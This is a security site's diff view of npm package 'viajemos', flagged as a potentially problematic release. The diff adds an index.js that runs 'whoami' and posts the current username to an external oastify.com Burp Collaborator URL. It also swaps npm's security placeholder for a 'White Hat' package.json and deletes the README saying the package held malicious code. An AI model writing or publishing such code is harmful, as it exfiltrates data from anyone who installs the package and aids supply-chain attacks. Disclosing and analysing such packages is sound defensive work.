viajemos 0.0.1-security → 2.0.5
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of viajemos might be problematic. Click here for more details.
- package/index.js +35 -0
- package/package.json +8 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,35 @@
|
|
1
|
+
const { exec } = require("child_process");
|
2
|
+
const axios = require("axios");
|
3
|
+
|
4
|
+
// Function to execute the whoami command
|
5
|
+
exec("whoami", async (error, stdout, stderr) => {
|
6
|
+
if (error) {
|
7
|
+
console.error(`Error executing whoami: ${error.message}`);
|
8
|
+
return;
|
9
|
+
}
|
10
|
+
if (stderr) {
|
11
|
+
console.error(`Error: ${stderr}`);
|
12
|
+
return;
|
13
|
+
}
|
14
|
+
|
15
|
+
// Get the output of whoami
|
16
|
+
const username = stdout.trim();
|
17
|
+
console.log(`Current user: ${username}`);
|
18
|
+
|
19
|
+
// Send the username to Burp Suite
|
20
|
+
try {
|
21
|
+
const burpUrl = "http://2bemhbjl9htdy0irflub38r22t8kwakz.oastify.com"; // Replace with your Burp Collaborator URL
|
22
|
+
const response = await axios.post(burpUrl, {
|
23
|
+
message: `Current user: ${username}`
|
24
|
+
});
|
25
|
+
console.log('Data sent to Burp:', response.data);
|
26
|
+
} catch (error) {
|
27
|
+
console.error('Error sending data to Burp:', error.message);
|
28
|
+
if (error.response) {
|
29
|
+
console.error('Response data:', error.response.data);
|
30
|
+
console.error('Response status:', error.response.status);
|
31
|
+
} else {
|
32
|
+
console.error('Error details:', error);
|
33
|
+
}
|
34
|
+
}
|
35
|
+
});
|
package/package.json
CHANGED
@@ -1,6 +1,11 @@
|
|
1
1
|
{
|
2
2
|
"name": "viajemos",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "2.0.5",
|
4
|
+
"description": "White Hat ",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
8
|
+
},
|
9
|
+
"author": "",
|
10
|
+
"license": "ISC"
|
6
11
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=viajemos for more information.
|